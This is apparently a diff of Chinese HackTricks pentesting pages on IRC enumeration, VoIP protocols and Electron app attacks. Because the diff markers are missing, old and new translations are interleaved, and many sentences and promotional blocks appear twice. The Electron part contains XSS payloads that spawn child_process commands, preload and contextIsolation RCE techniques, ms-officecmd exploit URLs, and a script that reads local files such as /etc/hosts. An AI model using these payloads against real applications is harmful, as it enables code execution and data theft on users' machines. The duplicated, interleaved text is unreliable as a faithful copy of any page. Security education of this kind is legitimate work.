* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -6,19 +6,33 @@
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们****
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel 的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
IRC 最初是一种**纯文本协议**,由 IANA 分配了 **194/TCP**,但通常在 **6667/TCP** 和类似端口上运行,以避免需要 **root 权限**进行操作。
IRC 最初是一个**纯文本协议**,由 IANA 分配了**194/TCP**,但通常在**6667/TCP**和类似端口上运行,以避免需要**root 权限**进行操作。
只需一个**昵称**即可连接到服务器。连接后,服务器会对用户的 IP 执行反向 DNS 查找。
只需一个**昵称**就可以连接到服务器。连接后,服务器会对用户的 IP 执行反向 DNS 查找。
用户分为**操作员**,他们需要**用户名**和**密码**以获得更多访问权限,以及普通**用户**。操作员具有不同级别的特权,管理员位于顶部。
@ -36,7 +50,7 @@ IRC 可以支持 **TLS**。
nc -vn <IP> <PORT>
openssl s_client -connect <IP>:<PORT> -quiet
```
### 手
### 手
在这里,您可以看到如何使用一些**随机昵称**连接并访问IRC然后枚举一些有趣的信息。您可以在[这里](https://en.wikipedia.org/wiki/List\_of\_Internet\_Relay\_Chat\_commands#USERIP)了解更多IRC命令。
```bash
@ -82,3 +96,29 @@ nmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,66
### Shodan
* `查找您的主机名`
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,23 +2,37 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 信令协议
### SIP会话初始协议
这是行业标准,更多信息请查看:
这是行业标准,了解更多信息请查看:
{% content-ref url="sip-session-initiation-protocol.md" %}
[sip-session-initiation-protocol.md](sip-session-initiation-protocol.md)
@ -26,40 +40,40 @@
### MGCP媒体网关控制协议
MGCP媒体网关控制协议一种在RFC 3435中概述的**信令**和**呼叫** **控制协议**。它在一个集中式架构中运行,由三个主要组件组成:
MGCP媒体网关控制协议是在RFC 3435中概述的**信令**和**呼叫** **控制协议**。它采用集中式架构,由三个主要组件组成:
1. **呼叫代理或媒体网关控制器MGC**MGCP架构中的主网关负责**管理和控制媒体网关**。它处理呼叫建立、修改和终止过程。MGC使用MGCP协议与媒体网关通信。
2. **媒体网关MGs或从属网关**:这些设备在不同网络之间**转换数字媒体流**例如传统的电路交换电话和分组交换IP网络。它们由MGC管理并执行从MGC接收的命令。媒体网关可能包括转码、封装和回声消除等功能。
1. **呼叫代理或媒体网关控制器MGC**MGCP架构中的主网关负责**管理和控制媒体网关**。它处理呼叫设置、修改和终止过程。MGC使用MGCP协议与媒体网关通信。
2. **媒体网关MGs或从属网关**:这些设备在不同网络之间**转换数字媒体流**,例如传统的电路交换电话网络和分组交换IP网络。它们由MGC管理并执行从MGC接收的命令。媒体网关可能包括转码、封装和回声消除等功能。
3. **信令网关SGs**:这些网关负责在不同网络之间**转换信令消息**实现传统电话系统例如SS7和基于IP的网络例如SIP或H.323)之间的无缝通信。信令网关对于互操作性至关重要,确保呼叫控制信息在不同网络之间得到正确传递。
总之MGCP将呼叫控制逻辑集中在呼叫代理中,简化了媒体和信令网关的管理,提供了更好的可扩展性、可靠性和效率,从而提高了电信网络的性能
总之MGCP在呼叫代理中集中了呼叫控制逻辑,简化了媒体和信令网关的管理,提供了更好的可扩展性、可靠性和效率,提高了电信网络的效率
### SCCPSkinny客户端控制协议
### SCCPSkinny Client Control Protocol
Skinny客户端控制协议SCCP是思科系统拥有的**专有信令和呼叫控制协议**。它主要用于**思科统一通信管理器**以前称为CallManager与思科IP电话或其他思科语音和视频终端之间的通信。
Skinny Client Control ProtocolSCCP是思科系统拥有的**专有信令和呼叫控制协议**。它主要用于**思科统一通信管理器**以前称为CallManager与思科IP电话或其他思科语音和视频终端之间的通信。
SCCP是一种轻量级协议简化了呼叫控制服务器与端点设备之间的通信。它被称为“Skinny”因为它的设计简约与其他VoIP协议如H.323或SIP相比带宽要求较低。
基于SCCP系统的主要组件包括:
基于SCCP系统的主要组件包括
1. **呼叫控制服务器**:通常是思科统一通信管理器,负责管理呼叫建立、修改和终止过程,以及其他电话功能,如呼叫转移、呼叫转接和呼叫保持。
1. **呼叫控制服务器**这个服务器通常是思科统一通信管理器,负责管理呼叫设置、修改和终止过程,以及其他电话功能,如呼叫转移、呼叫转接和呼叫保持。
2. **SCCP端点**这些设备如IP电话、视频会议设备或其他使用SCCP与呼叫控制服务器通信的思科语音和视频终端。它们向服务器注册发送和接收信令消息并遵循呼叫控制服务器提供的指令进行呼叫处理。
3. **网关**这些设备如语音网关或媒体网关负责在不同网络之间转换媒体流如传统的电路交换电话和分组交换IP网络。它们还可能包括其他功能如转码或回声消除。
3. **网关**:这些设备,如语音网关或媒体网关,负责在不同网络之间转换媒体流,如传统的电路交换电话网络和分组交换IP网络。它们还可能包括其他功能如转码或回声消除。
SCCP提供了思科呼叫控制服务器和端点设备之间简单高效的通信方法。然而,值得注意的是**SCCP是一种专有协议**,这可能会限制与非思科系统的互操作性。在这种情况下,其他标准VoIP协议如SIP可能更适合。
SCCP提供了思科呼叫控制服务器和端点设备之间简单高效的通信方法。然而值得注意的是**SCCP是一种专有协议**这可能会限制与非思科系统的互操作性。在这种情况下其他标准VoIP协议如SIP可能更适合。
### H.323
H.323是用于在基于IP的网络如IP网络)上进行多媒体通信的一套协议,包括语音、视频和数据会议。它由**国际电信联盟ITU-T**开发,为管理多媒体通信会话提供了全面的框架。
H.323是用于在基于分组交换网络如基于IP的网络)上进行多媒体通信的一套协议,包括语音、视频和数据会议。它由**国际电信联盟**ITU-T开发为管理多媒体通信会话提供了全面的框架。
H.323套件的一些关键组件包括:
1. **终端**:这些是终端设备如IP电话、视频会议系统或软件应用程序支持H.323并可以参与多媒体通信会话。
2. **网关**这些设备在不同网络之间转换媒体流如传统的电路交换电话和分组交换IP网络实现H.323与其他通信系统的互操作性。它们还可能包括其他功能,如转码或回声消除。
1. **终端**:这些是支持H.323的端点设备如IP电话、视频会议系统或软件应用程序可以参与多媒体通信会话。
2. **网关**:这些设备在不同网络之间转换媒体流,如传统的电路交换电话网络和分组交换IP网络实现H.323与其他通信系统的互操作性。它们还可能包括其他功能,如转码或回声消除。
3. **网关控制器**这些是H.323网络中提供呼叫控制和管理服务的可选组件。它们执行地址转换、带宽管理和接入控制等功能,有助于管理和优化网络资源。
4. **多点控制单元MCUs**:这些设备通过管理和混合来自多个终端的媒体流来促进多点会议。MCUs支持诸如视频布局控制、语音激活切换和持续存在等功能,使得能够举办具有多个参与者的大规模会议成为可能。
4. **多点控制单元MCUs**:这些设备通过管理和混合来自多个端点的媒体流促进多点会议。MCUs支持视频布局控制、语音激活切换和持续存在等功能,使得能够举办具有多个参与者的大规模会议成为可能。
H.323支持一系列音频和视频编解码器,以及其他辅助服务如呼叫转移、呼叫转接、呼叫保持和呼叫等待。尽管在VoIP的早期阶段被广泛采用但H.323逐渐被更现代、更灵活的协议如**会话初始协议SIP**所取代后者提供更好的互操作性和更容易的实施。然而H.323仍在许多传统系统中使用,并继续得到各种设备供应商的支持。
H.323支持一系列音频和视频编解码器,以及其他补充服务如呼叫转移、呼叫转接、呼叫保持和呼叫等待。尽管在VoIP的早期阶段被广泛采用但H.323逐渐被更现代、更灵活的协议如**会话初始协议SIP**所取代后者提供更好的互操作性和更容易的实施。然而H.323仍在许多传统系统中使用,并继续得到各种设备供应商的支持。
### IAXInter Asterisk eXchange
@ -67,31 +81,30 @@ IAXInter-Asterisk eXchange是一种主要用于Asterisk PBX私有分支
IAX以其**简单性、高效性和易实现性**而闻名。IAX的一些关键特点包括
1. **单一UDP端口**IAX使用单一UDP端口4569进行信令和媒体流量简化了防火墙和NAT穿越使其更容易在各种网络环境中部署。
1. **单个UDP端口**IAX使用单个UDP端口4569进行信令和媒体流量简化了防火墙和NAT穿越使其更容易在各种网络环境中部署。
2. **二进制协议**与SIP等基于文本的协议不同IAX是一种二进制协议减少了其带宽消耗并使其更有效地传输信令和媒体数据。
3. **干线**IAX支持干线允许多个呼叫组合成单个网络连接,减少开销,提高带宽利用率。
3. **干线**IAX支持干线允许多个呼叫合并为单个网络连接,减少开销,提高带宽利用率。
4. **本地加密**IAX内置支持加密使用RSA进行密钥交换和AES进行媒体加密提供端点之间的安全通信。
5. **点对点通信**IAX可用于端点之间的直接通信无需中央服务器实现更简单、更高效的呼叫路由。
尽管IAX具有诸多优点如其主要关注Asterisk生态系统和与更成熟的协议如SIP相比采用较少可能不是与非Asterisk系统或设备互操作性的最佳选择。然而对于在Asterisk环境中工作的人来说IAX为VoIP通信提供了强大而高效的解决方案。
尽管IAX具有诸多优点如其主要关注Asterisk生态系统和与更成熟的协议如SIP相比较少的广泛采用也存在一些局限性。因此对于与非Asterisk系统或设备的互操作性IAX可能不是最佳选择。然而对于在Asterisk环境中工作的人员IAX为VoIP通信提供了强大高效的解决方案。
## 传输和传输协议
### SDP会话描述协议
SDP会话描述协议是一种用于描述IP网络上多媒体会话特征的**基于文本的格式**。它由**互联网工程任务组IETF**开发,并在**RFC 4566**中定义。SDP不处理实际的媒体传输或会话建立而是与其他信令协议如**会话初始协议SIP**)一起使用,以协商和交换有关媒体流及其属性的信息。
SDP会话描述协议是一种用于描述多媒体会话特征(如语音、视频或数据会议)的**基于文本的格式**通过IP网络传输。它由**互联网工程任务组IETF**开发,并在**RFC 4566**中定义。SDP不处理实际的媒体传输或会话建立而是与其他信令协议如**SIP会话初始协议**)一起使用,用于协商和交换有关媒体流及其属性的信息。
SDP的一些关键元素包括
1. **会话信息**SDP描述多媒体会话的详细信息,包括会话名称、会话描述、开始时间和结束时间。
2. **媒体流**SDP定义媒体流的特征如媒体类型音频、视频或文本、传输协议如RTP或SRTP和媒体格式如编解码器信息)。
1. **会话信息**SDP描述了多媒体会话的细节,包括会话名称、会话描述、开始时间和结束时间。
2. **媒体流**SDP定义媒体流的特征如媒体类型音频、视频或文本、传输协议如RTP或SRTP和媒体格式如编解码器信息
3. **连接信息**SDP提供有关应发送或接收媒体的网络地址IP地址和端口号的信息。
4. **属性**SDP支持使用属性提供有关会话或媒体流的附加、可选信息。属性可用于指定各种功能如加密密钥、带宽要求或媒体控制机制。
SDP通常用于以下过程
SDP通常在以下过程中使用
1. 发起方创建所提议的多媒体会话的SDP描述包括媒体流及其属性的详细信息。
2. SDP描述发送给接收方通常嵌入在信令协议消息如SIP或RTSP
2. SDP描述发送给接收方通常嵌入在信令协议消息如SIP或RTSP
3. 接收方处理SDP描述并根据其能力可能接受、拒绝或修改所提议的会话。
4. 最终的SDP描述作为信令协议消息的一部分发送回发起方完成协商过程。
@ -99,17 +112,9 @@ SDP的简单性和灵活性使其成为在各种通信系统中描述多媒体
### RTP / RTCP / SRTP / ZRTP
1. **RTP实时传输协议**RTP是一种设计用于在IP网络上传递音频和视频数据或其他实时媒体的网络协议。由**IETF**开发,并在**RFC 3550**中定义RTP通常与信令协议如SIP和H.323一起使用以实现多媒体通信。RTP提供了媒体流的**同步**、**排序**和**时间戳**机制,有助于确保媒体流的平滑和及时播放。
2. **RTCP实时传输控制协议**RTCP是RTP的伴随协议用于监服务质量QoS并提供有关媒体流传输的反馈。与RTP在同一**RFC 3550**中定义RTCP **定期在RTP会话的参与者之间交换控制数据包**。它共享诸如丢包、抖动和往返时间等信息,有助于诊断和适应网络条件,提高整体媒体质量。
3. **SRTP安全实时传输协议**SRTP是RTP的扩展为媒体流提供**加密**、**消息认证**和**重放保护**,确保敏感音频和视频数据的安全传输。在**RFC 3711**中定义SRTP使用AES等加密算法进行加密使用HMAC-SHA1进行消息认证。SRTP通常与安全信令协议如SIP over TLS一起使用,以在多媒体通信中提供端到端安全。
4. **ZRTPZimmermann实时传输协议**ZRTP是一种加密密钥协商协议为RTP媒体流提供**端到端加密**。由PGP的创始人Phil Zimmermann开发描述在**RFC 6189**中。与SRTP依赖信令协议进行密钥交换不同ZRTP设计为独立于信令协议工作。它使用**Diffie-Hellman密钥交换**在通信双方之间建立共享密钥无需先前信任或公钥基础设施PKI。ZRTP还包括**短认证字符串SAS**等功能,以防止中间人攻击。
1. **RTP实时传输协议**RTP是一种设计用于在IP网络上传输音频、视频数据或其他实时媒体的网络协议。由**IETF**开发,并在**RFC 3550**中定义RTP通常与信令协议如SIP和H.323一起使用以实现多媒体通信。RTP提供了媒体流的**同步**、**排序**和**时间戳**机制,有助于确保流畅和及时的媒体播放。
2. **RTCP实时传输控制协议**RTCP是RTP的伴随协议用于监服务质量QoS并提供有关媒体流传输的反馈。与RTP在同一**RFC 3550**中定义RTCP**定期在RTP会话的参与者之间交换控制数据包**。它共享诸如丢包、抖动和往返时间等信息,有助于诊断和适应网络条件,提高整体媒体质量。
3. **SRTP安全实时传输协议**SRTP是RTP的扩展为媒体流提供**加密**、**消息认证**和**重放保护**,确保敏感音频和视频数据的安全传输。在**RFC 3711**中定义SRTP使用AES等加密算法进行加密使用HMAC-SHA1进行消息认证。SRTP通常与安全信令协议如通过TLS的SIP结合使用,以在多媒体通信中提供端到端安全。
4. **ZRTPZimmermann实时传输协议**ZRTP是一种加密密钥协商协议为RTP媒体流提供**端到端加密**。由PGP的创始人Phil Zimmermann开发ZRTP在**RFC 6189**中描述。与依赖信令协议进行密钥交换的SRTP不同ZRTP设计为独立于信令协议工作。它使用**Diffie-Hellman密钥交换**在通信双方之间建立共享密钥无需先前信任或公钥基础设施PKI。ZRTP还包括功能,如**短认证字符串SAS**,以防止中间人攻击。
这些协议在**在IP网络上提供和保护实时多媒体通信**中发挥着重要作用。RTP和RTCP处理实际的媒体传输和质量监控而SRTP和ZRTP确保传输的媒体受到窃听、篡改和重放攻击的保护。
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com
这些协议在**在IP网络上传递和保护实时多媒体通信**中发挥着重要作用。RTP和RTCP处理实际的媒体传输和质量监控而SRTP和ZRTP确保传输的媒体受到窃听、篡改和重放攻击的保护。

View file

@ -2,19 +2,33 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## 介绍
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 简介
Electron结合了本地后端使用**NodeJS**)和前端(**Chromium**),尽管它缺少一些现代浏览器的安全机制。
@ -23,7 +37,7 @@ Electron结合了本地后端使用**NodeJS**)和前端(**Chromium**
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
在 Electron 应用的源代码中,在 `packet.json` 文件中,你可以找到指定了 `main.js` 文件的安全配置
在 Electron 应用的源代码中,在 `packet.json` 文件中,你可以找到指定了安全配置的 `main.js` 文件。
```json
{
"name": "standard-notes",
@ -34,7 +48,7 @@ Electron有2种进程类型
* 主进程完全访问NodeJS
* 渲染进程出于安全原因应限制NodeJS访问权限
![](<../../../.gitbook/assets/image (307) (5) (1).png>)
![](<../../../.gitbook/assets/image (179).png>)
一个**渲染进程**将是加载文件的浏览器窗口:
```javascript
@ -44,7 +58,7 @@ let win = new BrowserWindow();
//Open Renderer Process
win.loadURL(`file://path/to/index.html`);
```
**渲染进程**的设置可以在main.js文件中的**主进程**中进行**配置**。如果**设置正确配置**,一些配置将**防止Electron应用程序被RCE**或其他漏洞攻击
**渲染进程**的设置可以在main.js文件中的**主进程**中进行**配置**。如果**设置正确配置**,一些配置将**防止Electron应用程序受到RCE**或其他漏洞的影响
尽管可以配置Electron应用程序以防止其访问设备但它可以通过Node API访问
@ -55,7 +69,7 @@ win.loadURL(`file://path/to/index.html`);
- Workers中的Node集成
- **`nodeIntegrationInSubframes`** - 默认为`off`。
- 如果启用了**`nodeIntegration`**则允许在Electron应用程序中的**iframe**中加载的网页中使用**Node.js API**。
- 如果**`nodeIntegration`**被**禁用**,则preload将在iframe中加载
- 如果**`nodeIntegration`**被**禁用**,则预加载将在iframe中加载。
配置示例:
```javascript
@ -83,7 +97,7 @@ spellcheck: true
}
};
```
一些**RCE负载**来自[这里](https://7as.es/electron/nodeIntegration\_rce.txt):
以下是来自[这里](https://7as.es/electron/nodeIntegration\_rce.txt)的一些**RCE payloads**
```html
Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">
@ -103,7 +117,7 @@ Example Payloads (Linux & MacOS):
```
## Electron 本地代码注入
如果您可以在本地执行 Electron 应用程序,则可能会使其执行任意 JavaScript 代码。查看方法:
如果你可以在本地执行 Electron 应用程序,那么可能可以使其执行任意的 JavaScript 代码。查看方法:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md" %}
[macos-electron-applications-injection.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)
@ -119,11 +133,11 @@ require('child_process').exec('calc');
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>
```
<figure><img src="../../../.gitbook/assets/image (5) (4).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1107).png" alt=""><figcaption></figcaption></figure>
## RCE: preload
这个设置中指定的脚本是在渲染器中的其他脚本之前**加载的**,因此它具有**对Node API的无限访问权限**
设置中指定的脚本是在渲染器中的其他脚本之前加载的因此它具有对Node API的无限访问权限
```javascript
new BrowserWindow{
webPreferences: {
@ -160,11 +174,11 @@ runCalc();
## RCE: XSS + contextIsolation
_**contextIsolation**_引入了**网页脚本和JavaScript Electron内部代码之间的分离上下文**使得每个代码的JavaScript执行不会相互影响。这是一个必要的功能消除RCE的可能性。
_**contextIsolation**_引入了**网页脚本和JavaScript Electron内部代码之间的分离上下文**使得每个代码的JavaScript执行不会相互影响。这是一个必要的功能用于消除RCE的可能性。
如果上下文没有被隔离,攻击者可以:
1. 在渲染器中执行**任意JavaScript**XSS或导航到外部站
1. 在渲染器中执行**任意JavaScript**XSS或导航到外部站)
2. **覆盖**在preload或Electron内部代码中使用的内置方法为自己的函数
3. **触发**覆盖的函数的使用
4. RCE
@ -185,30 +199,30 @@ _**contextIsolation**_引入了**网页脚本和JavaScript Electron内部代码
### 绕过点击事件
如果在单击链接时应用了限制,您可能可以通过**中键单击**而不是常规左键单击来绕过这些限制
如果在单击链接时应用了限制,您可能可以通过**中键单击**而不是常规左键单击来绕过它们
```javascript
window.addEventListener('click', (e) => {
```
## 通过 shell.openExternal 实现 RCE
## 通过 shell.openExternal 实现远程代码执行RCE
有关这些示例的更多信息,请查看 [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
有关这些示例的更多信息,请查看[https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8)和[https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
在部署 Electron 桌面应用程序时,确保 `nodeIntegration``contextIsolation` 的正确设置至关重要。已经确定,通过设置这些设置可以有效防止针对预加载脚本或 Electron 主进程的**客户端远程代码执行RCE**。
在部署 Electron 桌面应用程序时,确保 `nodeIntegration``contextIsolation` 的正确设置至关重要。已经确定,通过这些设置可以有效防止针对预加载脚本或 Electron 主进程的**客户端远程代码执行RCE**。
用户与链接交互或打开新窗口时,会触发特定的事件侦听器,这对应用程序的安全性和功能至关重要:
用户与链接交互或打开新窗口时,会触发特定的事件侦听器,这对应用程序的安全性和功能至关重要:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
这些监听器被桌面应用程序**覆盖**,以实现自己的**业务逻辑**。该应用程序评估导航链接应在内部打开还是在外部Web浏览器中打开。这个决定通常通过一个名为`openInternally`的函数来做出。如果这个函数返回`false`,则表示链接应在外部打开,利用`shell.openExternal`函数。
这些监听器被桌面应用程序**覆盖**,以实现自己的**业务逻辑**。 应用程序会评估导航链接应在内部打开还是在外部Web浏览器中打开。 这个决定通常通过一个名为`openInternally`的函数来做出。 如果这个函数返回`false`,则表示链接应在外部打开,利用`shell.openExternal`函数。
**以下是简化的伪代码:**
![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (638) (2) (1) (1).png>)
![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (258).png>)
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (620).png>)
![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (960).png>)
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容因为这可能通过各种协议导致RCE。操作系统支持可能触发RCE的不同协议。有关此主题的详细示例和进一步解释可以参考[此资源](https://positive.security/blog/url-open-rce#windows-10-19042)其中包括能够利用此漏洞的Windows协议示例。
Electron JS安全最佳实践建议不要使用`openExternal`函数接受不受信任的内容因为这可能通过各种协议导致RCE。 操作系统支持可能触发RCE的不同协议。 有关此主题的详细示例和进一步解释,可以参考[此资源](https://positive.security/blog/url-open-rce#windows-10-19042)其中包括能够利用此漏洞的Windows协议示例。
**Windows协议利用示例包括:**
```html
@ -228,7 +242,7 @@ window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResu
**禁用 `contextIsolation` 可以启用 `<webview>` 标签**,类似于 `<iframe>`,用于读取和外泄本地文件。提供的示例演示了如何利用此漏洞读取内部文件的内容:
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf_f2ttjg.png)
![](<../../../.gitbook/assets/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
此外,还分享了另一种**读取内部文件**的方法,突出了 Electron 桌面应用程序中的关键本地文件读取漏洞。这涉及注入脚本以利用应用程序并外泄数据:
```html
@ -253,9 +267,9 @@ function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
调用**`openInternally`**将决定**链接**是在**桌面窗口**中打开(因为它是属于平台的链接),**还是**在**浏览器中作为第三方资源**打开。
调用**`openInternally`**将决定将链接在桌面窗口中打开,因为它是属于平台的链接,**或者**将在浏览器中作为第三方资源打开。
如果函数使用的**正则表达式**容易被绕过(例如**未转义子域的点**),攻击者可以利用 XSS **打开一个新窗口**,该窗口位于攻击者的基础设施中,**向用户索要凭据**
